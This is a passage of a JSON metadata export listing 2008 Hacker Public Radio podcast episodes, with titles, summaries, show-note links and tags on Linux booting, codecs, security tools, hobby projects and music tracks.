\nShownotes by: diggsit\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"flight simulators,xplane","version":0,"downloads":1292,"valid":1}, {"id":50,"date":"2008-03-10","title":"Linux Boot Process Part 2B - Grub","duration":2782,"summary":"A further show about the Linux Boot Process - Grub","notes":"GRUB - Grand Unified Bootloader
\n\nThe bootloader of the gods.
\n\nGrub Website
\nGrub Manual
\nDann's Notes
","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,\"Boot process\",Grub","version":0,"downloads":2151,"valid":1}, {"id":51,"date":"2008-03-11","title":"TalkBox","duration":697,"summary":"A show about Talk Box","notes":" https://en.wikipedia.org/wiki/Talk_box
\nhttps://www.instructables.com/id/SN6RLCIF4LPLSYA/
\n https://www.instructables.com/id/%22Talk-Box%22/
\n https://www.youtube.com/watch?v=9EIQxwotn3k
","hostid":48,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Music,\"sound modification\",\"sound effects\",\"Talk Box\"","version":0,"downloads":1382,"valid":1}, {"id":52,"date":"2008-03-12","title":"UCLUG: Newbie Shell Scripting","duration":2172,"summary":"A talk from UCLUG with an introduction to shell scripting","notes":"Upstate Carolina Linux User Group: Jas Eckard gives a talk aimed at newbies on shell scripting.
\n
\nUpstate Carolina Linux User Group\n","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"shell,scripts,scripting","version":0,"downloads":1314,"valid":1}, {"id":53,"date":"2008-03-13","title":"Codecs Part 4","duration":1047,"summary":"Proprietary and OGG codecs discussed plus a Theora tutorial for Linux command line.","notes":"In this final episode of the series, Klaatu covers some proprietary codec packages. He then explains how to use free software and the linux command line to transcode a video using the open codec, Theora.
\n\nhttps://theora.org/
\n\n https://linuxreviews.org/man/ffmpeg2theora/
\n
\nShownotes by: diggsit","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"codec, OGG, Vorbis, Theora, tutorial","version":0,"downloads":2083,"valid":1}, {"id":54,"date":"2008-03-13","title":"This Old Hack Part 6","duration":408,"summary":"a further show by this old Hack","notes":"fawkesfyres latest tale of hacking","hostid":75,"series":5,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hacking,\"Well House\",Wells,Fixing,\"led head light\"","version":0,"downloads":1322,"valid":1}, {"id":55,"date":"2008-03-17","title":"Slax","duration":942,"summary":"Installing Slax and the cool things you can do with thumbdrive installation","notes":" https://www.slax.org
\n https://en.wikipedia.org/wiki/St._patricks_day
","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"slax,installation,howto,tutorial,usbdrive,thumb drive","version":0,"downloads":2231,"valid":1}, {"id":56,"date":"2008-03-18","title":"Open Street Map","duration":608,"summary":"Ken encourages people to add to Open Street Map","notes":" openstreetmap.org
","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Open Street Map\",GPS,POI","version":0,"downloads":1986,"valid":1}, {"id":57,"date":"2008-03-19","title":"LPI Certifications Part 3","duration":1119,"summary":"Ken covers how disks are dealt with in Linux","notes":" https://www.kenfallon.com
\n https://www.acsdata.com/how-a-hard-drive-works.htm
\n https://tldp.org/HOWTO/Large-Disk-HOWTO-4.html
\n https://www.storagereview.com/guide2000/ref/hdd/bios/sizeMB504.html
","hostid":30,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"LPI,\"hard disks\"","version":0,"downloads":2184,"valid":1}, {"id":58,"date":"2008-03-20","title":"Microcontrollers","duration":1549,"summary":"Microcontroller description and how you can make use of them.","notes":" General page about avr products
\n free c compiler for avr
\n forum for avr people, also has lot of projects
\n","hostid":81,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"microcontroller, pic, avr, 8-bit, maker","version":0,"downloads":2026,"valid":1}, {"id":59,"date":"2008-03-21","title":"Interview with scorche","duration":595,"summary":"Interview with scorche from the Rockbox Project ","notes":"Interview with scorche from the Rockbox Project
","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"Interview,Rockbox Project","version":0,"downloads":1284,"valid":1}, {"id":60,"date":"2008-03-24","title":"Claws Email client","duration":510,"summary":"The start of a lightweight applications series: review of Claws Mail.","notes":"deepgeek talks about a lightweight app called claws","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"email, claws, lightweight, review","version":0,"downloads":1458,"valid":1}, {"id":61,"date":"2008-03-25","title":"Punk Computing","duration":900,"summary":"How not to get stuck by the man, while sticking it to the man.","notes":"How not to get stuck by the man, while sticking it to the man.
\n
\nShownotes by: diggsit\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Punks,Computing,Anarchists,\"anti establishment\"","version":0,"downloads":1516,"valid":1}, {"id":62,"date":"2008-03-26","title":"More than a wii bit of fun with the Wiimote","duration":1324,"summary":"More than a Wii bit of fun with the Wiimote","notes":"

\n\n https://www.wiili.org
\n\n https://www.wiili.org/index.php/How_To:_Windows_Wiimote
\n\n Wii-Saber code
\n(See the following link for an alternative to http://rapidshare.com/files/7731954/WiinSaber_v1.1.rar.html https://web.archive.org/web/20070705005834/http://isnoop.net/apps/WiiSaber_1.0B1.zip)
\n\n Light saber sounds
\n\n Wiimote Mouse code \n

\n\n

Editor's Note 2022-09-16: The above links have all been redirected to the Wayback Machine (archive.org) because they were no longer working.

\n","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Games console\",Wii,Wiimote,hacking,Linux","version":0,"downloads":1981,"valid":1}, {"id":63,"date":"2008-03-27","title":"WebCalendar","duration":554,"summary":"A show about the WebCalendar tool","notes":" WebCalendar
\n WebCalendar wiki
\n Hackerevents
","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"server calendar apps\",\"database tools\",servers,RSS","version":0,"downloads":8133,"valid":1}, {"id":64,"date":"2008-03-28","title":"Tech Music: Payphone under Streetlight","duration":361,"summary":"The Tech Music series presents the track 'Payphone under Streetlight' ","notes":"\n\ncheck out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, telephone","version":0,"downloads":2948,"valid":1}, {"id":65,"date":"2008-03-31","title":"Cowon iAudio U3 review","duration":864,"summary":"A show about the Cowon iAudio U3","notes":"Cowon iAudio U3
","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Cowan U3\",\"Media Players\",MP3,Video","version":0,"downloads":2073,"valid":1}, {"id":66,"date":"2008-03-31","title":"April Fools Day Traditions","duration":897,"summary":"StankDawg discusses some famous April Fools Jokes and provides some suggestions to find others","notes":".ǝuı1uo sʞuɐɹd ʎɐp s1ooɟ s1ıɹdɐ ʎuunɟ puıɟ oʇ sǝʇıs poob ǝɯos sǝɹɐɥs puɐ sǝxɐoɥ ʎɐp s1ooɟ s1ıɹdɐ snoɯɐɟ ʇsoɯ ɥǝʇ ɟo ǝɯos sǝssnɔsıp bʍɐpʞuɐʇs 'ǝposıdǝ sıɥʇ uı\n","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"jokes, tricks, pranks, stories, hoaxes, fun","version":0,"downloads":1594,"valid":1}, {"id":67,"date":"2008-04-02","title":"k-meleon","duration":787,"summary":"A show about the k-meleon web browser","notes":"https://k-meleon.org/
\n https://adblockplus.org/en/kmeleon
\n Screenshot
","hostid":83,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"web browsers\"","version":0,"downloads":1501,"valid":1}, {"id":68,"date":"2008-04-03","title":"Shoulder Stretches!","duration":678,"summary":"A show about repetitive strain injuries","notes":"

The companion screencast for this show can be found \nhere and\n\nhere.\n

\nLinks referenced in this show:\n","hostid":74,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"repetitive strain\",computing,\"preventative exercises\"","version":0,"downloads":2152,"valid":1}, {"id":69,"date":"2008-04-04","title":"There's Pr0n on them there internets!","duration":2988,"summary":"StankDawg and T.T. Creamer discuss some history of pr0n on the internet.","notes":"
\n

Counter Point

\n

A counter point to this show is available: hpr0586 :: Miscellaneous Radio Theater 4096- The Internet is For Porn\n

\n
\n

\n\"In this light-hearted VNSFW (VERY NOT SAFE FOR WORK) episode 69 of HPR, StankDawg's alter ego \"Buck Dangler\" joins up with \"T.T. Creamer\" (deepgeek) to discuss some history of pr0n on the internet. They also discuss many places to find different types of pr0n and conclude with a technical analysis of many dangerous sexual positions that have become popular in some internet subcultures.
\n
\nTO CLARIFY: THIS EPISODE IS NOT SAFE FOR WORK\"\n

\n","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"pornography,porn","version":0,"downloads":1985,"valid":1}, {"id":70,"date":"2008-04-07","title":"Dr. Who","duration":1031,"summary":"The origins and background of the series 'Doctor Who' from the BBC","notes":"Official Sites:
\n
\nOfficial Site
\nBBC You Tube page (other non-Who stuff here also)
\n
\n
\nVarious You Tube VIdeos:
\nSeries 4 Trailer.  Although the BBC have this you can't watch it outside the UK.  This one you can.
\n
\nSome of my favourite episodes (links to Wiki page for full story and spoilers):
\n
\nThe Tomb of the Cybermen
\nThe Terror of the Autons - The Master (Roger Delgado) and some Autons!
\nDay of the DaleksSilver Nemesis
\nThe Sea Devils - The Master again (and some Sea Devils)
\nThe Three Doctors - Meet Omega, a Time Lord.
\nDeath to the Daleks
\nPlanet of the Spiders - Spiders, Time Lords, UNIT and more!
\nRobot
\nGenesis of the Daleks - where it all began
\nRevenge of the Cybermen
\nPyramids of Mars
\nThe Brain of Morbius
\nThe Deadly Assassin - a trip to Gallifrey
\nThe Robots of Death
\nThe Invasion of Time - back to Gallifrey
\nThe Key to Time - and entire season devoted to this
\nDestiny of the Daleks
\nLogopolis - the last Tom Baker episode
\nCastrovalva - The first Peter Davison and the Master
\nFour to Doomsday
\nEarthshock - Cybermen!
\nArc of Infinity
\nThe Five Doctors - (well actually four of them)
\nResurrection of the Daleks
\nThe Caves of Androzani - Peter Davison -> Colin Baker
\nAttack of the Cybermen
\nRevelation of the Daleks
\nRemembrance of the Daleks
\nSilver Nemesis
\n
\nNew series are all good!
\n
\nTie-in websites
\n
\nGo watch it now!
","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Dr Who, TARDIS, sci-fi, BBC, television","version":0,"downloads":2777,"valid":1}, {"id":71,"date":"2008-04-08","title":"Beowulf Cluster Introduction","duration":604,"summary":"An Introduction show about Beowulf Cluster","notes":"Deepgeek gives an introduction to the Beowulf cluster, using video encoding as a short example.","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Beowulf Cluster\",\"Cluster Computing\"","version":0,"downloads":1510,"valid":1}, {"id":72,"date":"2008-04-09","title":"Imagemagick","duration":1341,"summary":"A show about the Imagemagick software package","notes":"klaatu gives a review of Imagemagick
","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"Image processing\",Imagemagick,Linux,\"Apt packages\",\"CLI tools\"","version":0,"downloads":2232,"valid":1}, {"id":73,"date":"2008-04-10","title":"Google 411 Update","duration":244,"summary":"Google 411 Update, Lunarsphere gives an update on his original twatech episode","notes":"Lunarsphere gives an update on his original twatech episode
\n original episode
","hostid":84,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Google 411\",\"conference calling\",\"free long distance calling\"","version":0,"downloads":1430,"valid":1}, {"id":74,"date":"2008-04-11","title":"UCLUG - Linux Gaming","duration":10013,"summary":"Carolina Linux User Group Meeting, Linux Gaming","notes":"Upstate Carolina Linux User Group Meeting

\n30 minute newbie session: Jas Eckard's bash shell scripting for newbies;

\nMain topic: Ryan 'Icculus' Gordon speaks about the linux gaming industry.

\nicculus.org","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"bash shell scripting\",\"linux gaming industry. Linux\",\"New users\"","version":0,"downloads":1393,"valid":1}, {"id":75,"date":"2008-04-14","title":"Collapsar ","duration":592,"summary":"A show about Collapsar A VM-Based Architecture for Network Attack","notes":"

Collapsar Paper

\n

Editor's Note 2018-10-20

\n

The original link above seems to to be unavailable, but the paper referenced \"Collapsar: A VM-Based Architecture for Network Attack Detention Center\" is still available here.

\n\n","hostid":48,"series":8,"explicit":1,"license":"CC-BY-NC-SA","tags":"virtualization,Collapsar,\"Network security\"","version":0,"downloads":1507,"valid":1}, {"id":76,"date":"2008-04-15","title":"Tech Music: W1f1 Hax0r","duration":320,"summary":"The Tech Music series presents the track 'W1f1 Hax0r' ","notes":"\ncheck out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, wifi","version":0,"downloads":4574,"valid":1}, {"id":77,"date":"2008-04-16","title":"This old Hack Part 7","duration":1440,"summary":"Another show from This Old Hack","notes":"fawkesfyres part 7 of his ongoing series","hostid":75,"series":5,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Automobile breakdown\",\"Radiator hose failure\",\"Automobile repair\"","version":0,"downloads":1425,"valid":1}, {"id":78,"date":"2008-04-17","title":"Interview Tips","duration":2608,"summary":"Advice for job seekers","notes":"

Ken Fallon gives some job application advice and interview tips for job seekers

\n\n

Links

\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"job application,job interview,CV","version":0,"downloads":2749,"valid":1}, {"id":79,"date":"2008-04-18","title":"Tech Music: PLA Radio","duration":150,"summary":"The Tech Music series presents the track 'PLA Radio'","notes":"check out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology","version":0,"downloads":1555,"valid":1}, {"id":80,"date":"2008-04-21","title":"Coffee","duration":1750,"summary":"All aspects of making the perfect cup of Coffee","notes":"klaatu talks about coffee","hostid":78,"series":88,"explicit":0,"license":"CC-BY-NC-SA","tags":"Coffee,\"making good coffee\",\"raw coffee beans\",\"Roasting coffee beans\"","version":0,"downloads":1463,"valid":1}, {"id":81,"date":"2008-04-22","title":"Linux Boot Process Part 3 - Boot Prompt Parameters","duration":1199,"summary":"The use and usage of boot parameters with the Linux kernel and device drivers.","notes":"Dann's Notes
\nLinux Boot Prompt HowTo","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,boot process,boot parameters,boot,parameters,boot loader,LILO,GRUB,kernel,configuration","version":0,"downloads":1487,"valid":1}, {"id":82,"date":"2008-04-23","title":"Root kits","duration":1303,"summary":"In this show Finux, gives a detailed account of how rootkits work.","notes":"Wikipedia, defines Rootkit as “.. a program designed to take fundamental control of a computer system, without authorization..”. Rootkit means “pwned”. In this episode, Finux, gives a detailed account of how rootkits work. He also reveals ways to expose and - better yet - avoid them.
\noriginal audio from https://www.linuxbasement.com/
\nfinux discusses rootkits\n\n
\n
\nShownotes by: diggsit","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Rootkits,\"Computing security\",Computers","version":0,"downloads":2349,"valid":1}, {"id":83,"date":"2008-04-24","title":"Flock","duration":1012,"summary":"Xoke rants about Doctor Who and talks about flock","notes":"Xoke rants about Doctor Who and talks about flock","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Doctor Who,Browser,Software,Television","version":0,"downloads":2274,"valid":1}, {"id":84,"date":"2008-04-25","title":"Phone interview with Kajarii: Linux for the blind user","duration":4275,"summary":"Kajarii: Linux for the blind user","notes":"Orca
\nlinux speakup
\nRC Syatems
\nmplayer
\nelinks; and
\nnmh.","hostid":77,"series":79,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,\"Computing for Blind users\",\"Screen readers\"","version":0,"downloads":2302,"valid":1}, {"id":85,"date":"2008-04-28","title":"Faubackup","duration":385,"summary":"A show about the light app, Faubackup","notes":"Deepgeek reviews Faubackup
\n\n https://faubackup.sf.net
","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"Faubackups,Software,\"CLI tools\",automation","version":0,"downloads":2143,"valid":1}, {"id":86,"date":"2008-04-29","title":"Kismet","duration":1658,"summary":"finux discusses what kismet is and how to get started using it.","notes":"original audio from https://www.linuxbasement.com/
\nfinux discusses kismet","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"kismet, security, scanning, wireless, config, bluetooth, tutorial","version":0,"downloads":2355,"valid":1}, {"id":87,"date":"2008-04-30","title":"Compling a Kernel","duration":1270,"summary":"A show on Compiling a Kernel","notes":"\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Building a Kernel","version":0,"downloads":1568,"valid":1}, {"id":88,"date":"2008-05-01","title":"Hiding and stripping program symbols","duration":820,"summary":"thewtex explains how to Hide and strip program symbols","notes":"thewtex explains how to Hide and strip program symbols","hostid":69,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Symbols,\"Removing symbols\",computing,computers","version":0,"downloads":2036,"valid":1}, {"id":89,"date":"2008-05-02","title":"Notacon Wrapup","duration":1374,"summary":"A show about Notacon","notes":" notacon.org
\n blockparty
\n bloomingtonfools.org
","hostid":3,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Notacon,\"lock picking\",\"art and technology\",conferences","version":0,"downloads":2036,"valid":1}, {"id":90,"date":"2008-05-05","title":"Ironman","duration":1310,"summary":"A show about Iron Man and the new movie","notes":"","hostid":74,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"comic books\",\"Comic book movies\",Marvel","version":0,"downloads":3196,"valid":1}, {"id":91,"date":"2008-05-06","title":"Hosts File","duration":754,"summary":"A show about DNS and how it works","notes":"\nHosts file locations
\nLinux: /etc/hosts
\nWindows: c:\\windows\\system32\\drives\\etc\\hosts
\nMac: /private/etc/hosts file
\n
\n\nExample line:
\n127.0.0.1 doubleclick.net
\n
\nExample hosts file (blocking ads):
\n https://www.mvps.org/winhelp2002/hosts.htm
\n
\n Open DNS
","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Linux,Mac,Ad Blocking,Security","version":0,"downloads":2296,"valid":1}, {"id":92,"date":"2008-05-07","title":"bugs","duration":771,"summary":"Bug reporting and triaging as a way of getting involved with open source software and projects","notes":"klaatu talks about bug reporting\nand bug triaging.","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"bugs,OSS,project,howto,triaging,bug reporting,help out","version":0,"downloads":2193,"valid":1}, {"id":93,"date":"2008-05-08","title":"Newsgroups for Media","duration":1677,"summary":"Deepgeek discusses using newsgroups to get media files.","notes":"Deepgeek discusses using newsgroups to get media files. While using\nnewsgroups may be old school, using them for this application is often\nfaster than bittorrent","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"media files\",\"news groups\",bittorrent","version":0,"downloads":2066,"valid":1}, {"id":94,"date":"2008-05-09","title":"Initrd and Initramfs","duration":1818,"summary":"Dann continues his series on the Linux boot process","notes":"Systrhead.net Monolithic vs MicroKernel
\nWikipedia - Microkernel
\nWikipedia - Monolithic Kernel
\nWikipedia - Initramfs
\nIBM - Initrd Overview
\nLinux Devices - Introduction to initramfs
","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,\"Boot process\",init,\"Linux kernel\"","version":0,"downloads":2138,"valid":1}, {"id":95,"date":"2008-05-12","title":"Security Wow!","duration":1179,"summary":"rowinggolfer hosts a parody show about security","notes":"parody episode","hostid":86,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"security,parody,windows,PC's","version":0,"downloads":1485,"valid":1}, {"id":96,"date":"2008-05-13","title":"Xfce, Oh I how I love you","duration":710,"summary":"Why I like XFCE and why you might want to consider using it","notes":"droops rehashes a presentation he has given to his local lugs on why he loves xfce. you can download the presentation and follow along.
\n\n\nLink to presentation
","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"XFCE,introduction,review","version":0,"downloads":1923,"valid":1}, {"id":97,"date":"2008-05-14","title":"An Interview with Tony Wright","duration":1702,"summary":"Interview with Tony Wright of RescueTime.com","notes":"Tony Wright (RescueTime.com)
\nDrake Anubis (DrakeAnubis.com)","hostid":58,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"RescueTime.com","version":0,"downloads":2663,"valid":1}, {"id":98,"date":"2008-05-15","title":"Subversion","duration":613,"summary":"Using the Subversion version control system","notes":" https://subversion.tigris.org/
\n","hostid":48,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,\"version control\",subversion","version":0,"downloads":1435,"valid":1}, {"id":99,"date":"2008-05-16","title":"Tech Music: Blackhat Life","duration":237,"summary":"The Tech Music series presents the track 'Blackhat Life' ","notes":"check out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, blackhat, cracking","version":0,"downloads":1593,"valid":1}, {"id":100,"date":"2008-05-19","title":"Hackermedia Awards: RFA","duration":1664,"summary":"100th episode special droops and enigma cohost. RFA(Radio Freek America) Hackermedia Award","notes":"100th episode special droops and enigma cohost with special guest.
\n RFA Hackermedia Award
\n
\nThanks to all the Hosts for all their hard work!!\n","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hackermedia","version":0,"downloads":2575,"valid":1}, {"id":101,"date":"2008-05-20","title":"This old Hack Part 8","duration":2303,"summary":"Follow me when I repair a Lawnmower, talking through the process.","notes":"Fawkesfyre's tales of hacking","hostid":75,"series":5,"explicit":1,"license":"CC-BY-NC-SA","tags":"lawnmower,cars,mechanic,engines","version":0,"downloads":1836,"valid":1}, {"id":102,"date":"2008-05-21","title":"Linux Professional Institute Certifications Part 4","duration":854,"summary":"Ken covers SCSI skipping over modem and sound","notes":"

Ken continues his series on LPI Certifications

\n\n

Links:

\n\n\n","hostid":30,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"LPI,SCSI","version":0,"downloads":1460,"valid":1}, {"id":103,"date":"2008-05-22","title":"Community Rant","duration":334,"summary":"The hacker world needs to be pulled into shape... A reawakening is required.","notes":"Tottenkoph talks about community involvement ","hostid":87,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"technology, hacker, rant, equality, women in tech","version":0,"downloads":1974,"valid":1}, {"id":104,"date":"2008-05-23","title":"Not about Airsoft","duration":670,"summary":"This episode discusses comments on youtube, they published a video about airsoft.","notes":"

droops discusses feedback in the internet age, leave comments now, leave them before, during and after this show!
\n\n Link to Video
\n\n Link to Hacktv

\n","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"airsoft,youtube,comments","version":0,"downloads":3909,"valid":1}, {"id":105,"date":"2008-05-26","title":"urban golf","duration":1345,"summary":"Covering Urban Golf. Take a tennis ball and stick get out there training to hit a target.","notes":"deepgeek talks about urbangolf","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"golf,urban,rules,freedom,tips","version":0,"downloads":4685,"valid":1}, {"id":106,"date":"2008-05-27","title":"Tech Music: Payphone Dreaming","duration":359,"summary":"The Tech Music series presents the track 'Payphone Dreaming'","notes":"check out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, telephone, techno","version":0,"downloads":2084,"valid":1}, {"id":107,"date":"2008-05-28","title":"Console fonts","duration":1217,"summary":"Talking about setting up fonts in XConsole and the regular fonts.","notes":"dave yates talks about Console fonts","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"fonts,xterm,ubuntu,defaults,\"bitmap fonts\"","version":0,"downloads":2007,"valid":1}, {"id":108,"date":"2008-05-29","title":"Handbrake - Howto","duration":823,"summary":"Talking about how to use handbrake a DVD ripping and conversion tool.","notes":"The podcasting machine hosts another episode of hacker public radio","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"command line\",\"movie quality\",formats,bitrate","version":0,"downloads":2334,"valid":1}, {"id":109,"date":"2008-05-30","title":"KDE 4 Tips","duration":349,"summary":"Make your KDE look better and some shortcut tips.","notes":"Skirlet gives some tips and tricks about the KDE 4 desktop enviroment","hostid":88,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"shortcuts,styles,kde","version":0,"downloads":1944,"valid":1}, {"id":110,"date":"2008-06-02","title":"Xoke's Favorite Apps","duration":1164,"summary":"Talking about different applications and extensions I use in my system.","notes":"* Xubuntu
\n# Thunderbird
\n* Flock
\n
\nFirefox Extensions (these work on Flock too)
\n* NoScript
\n* Tab Mix Plus
\n* Custom user chrome file to have tabs on the left as this laptop is widescreen.
\n* Firekeeper
\n* All-in-one-sidebar
\n* Secure Login
\n* Adblock Plus
\n* Download Statusbar
\n
\nThese I use just on Flock
\n* Morning Coffee
\n* Greasemonkey
\n* Scrapbook
\n
\nThese are my 'dev' profile extensions
\n* Firebug - has major issues with FF3 though :(
\n* Web Developer
\n* Fire PHP
\n* User Agent Switcher
\n
\n
\n* Tracks
\n* Tiddlywiki
\n# Prism
\n# XChat
\n * Uberscript
\n# PC Man
\n* Air
\n* Twhirl
\n# KeePassX
\n# Ardour
\n# Amarok
\n# Rockbox
\n* Bashpodder
\n# Audacious
\n# FileZilla
\n# BaoBab
\n# KTorrent
\n# Pidgin
\n* FunPidgin
\n# DigiKam
\n# GQView
\n# GIMP
\n# Inkscape
\n# AutoFSCK
\n
\nMost of these (those with a # not a *) are available in the Ubuntu repositories though or are installed by default though.","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Linux,Mac,Firefox,Chrome,Extensions,Applications Software","version":0,"downloads":2409,"valid":1}, {"id":111,"date":"2008-06-03","title":"Steal this movie 2","duration":227,"summary":"A short introduction to the film \"Steal This Film 2\" and how it compares to the first movie.","notes":" www.stealthisfilm.com - short review of\nthe documentary film \"steal this film 2.","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"short,piracy,movies","version":0,"downloads":2218,"valid":1}, {"id":112,"date":"2008-06-04","title":"SSH Tunnelling","duration":870,"summary":"Covering different use-cases for SSH tunneling and how to set it up.","notes":"This month, I'm taking a break from HPR, but I have a special guest host filling in for me: John Wesley Pruitt from JWPLinux's Podcast, who will give us an overview of SSH tunneling.","hostid":74,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"external,tunneling,ssh,squid,\"dynamic port forwarding\",loopback","version":0,"downloads":1910,"valid":1}, {"id":113,"date":"2008-06-05","title":"Nintendo Wii Review","duration":610,"summary":"Review different games on the Wii. How to play, the look and feel of controllers.","notes":"Plexi reviews the Nintendo Wii video game console. ","hostid":57,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"golf,tennis,nunchucks,\"loading issues\",review","version":0,"downloads":1161,"valid":1}, {"id":114,"date":"2008-06-06","title":"Linux video editing","duration":3578,"summary":"Talking about different video editors, our experience, and what they can handle. Focus on LiVES.","notes":" This is Salsaman's Bio page.\n
\n This is his videojack project\n
\n Very good LiVES Tutorial page that Salsaman recommended\n
\n LiVES homepage
\n\n Fundraising for LiVES 1.0\n
\n Sourceforge user nominations page for LiVES as best multimedia app\n
\n\n\n\n https://www.youtube.com/sorteal
\n www.serverwillprovide.com/sorteal/
\n\n https://www.serverwillprovide.com/hpr/ ","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"video editor\",review,cohost,lives,\"windows movie maker\",jackaudio,vlc","version":0,"downloads":2743,"valid":1}, {"id":115,"date":"2008-06-09","title":"Promoting Linux","duration":651,"summary":"Ken Fallon discusses ways to promote linux","notes":"

\nAlways ask does this product work with Linux?
\nCan I return this if it doesn't work for Linux?
\nWhen writing quotations include questions about Linux support.\n

\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Linux Promotion\"","version":0,"downloads":1475,"valid":1}, {"id":116,"date":"2008-06-10","title":"Linux Boot Process Part 6 - Init","duration":2137,"summary":"Talking about the linux boot process, part 6 in the series. Going through inittab and init levels.","notes":"Linux Boot Process pt. 6 - Init \n\nInit is the mother of all processes. See my Notes for a brief reference. Also check out these resources:\n\nWikipedia page on init\ninit man page\ninittab man page\nUpstart","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,bootloader,grub,lilo,ramdisk,\"root partition\",ubuntu,upstart","version":0,"downloads":1473,"valid":1}, {"id":117,"date":"2008-06-11","title":"Bilderberg Group and the Crimespace project","duration":2482,"summary":"Covering the meeting of the Bilderberg Group, the history behind the meetings. Powerful people talk.","notes":"The Bilderberg Group met in VA last weekend, including European royalty, a CEO of Google, Craig Mundie from Microsoft, along with hundreds of the most influential people in the world, and no one noticed. ","hostid":75,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"bilderberg group\",crimespace,meeting,\"bill gates\"","version":0,"downloads":1250,"valid":1}, {"id":118,"date":"2008-06-12","title":"June UCLUG Meeting","duration":6412,"summary":"This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.","notes":"At the UCLUG: Jas continues his bash shell scripting for newbies tutorial, and Allen Valliencourt of FGPTech.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"shell script\",uclug,meeting,environment,\"denial of service\",spam,snort","version":0,"downloads":1314,"valid":1}, {"id":119,"date":"2008-06-13","title":"Tech Music: No Seat Attached","duration":305,"summary":"The Tech Music series presents the MC Smedley track 'No Seat Attached'","notes":"MC Smedley garage basement demos.\n\nNo seat attached - 1st recorded track ever","hostid":89,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, garage, demo, basement","version":0,"downloads":1453,"valid":1}, {"id":120,"date":"2008-06-16","title":"Tech Music: Landline 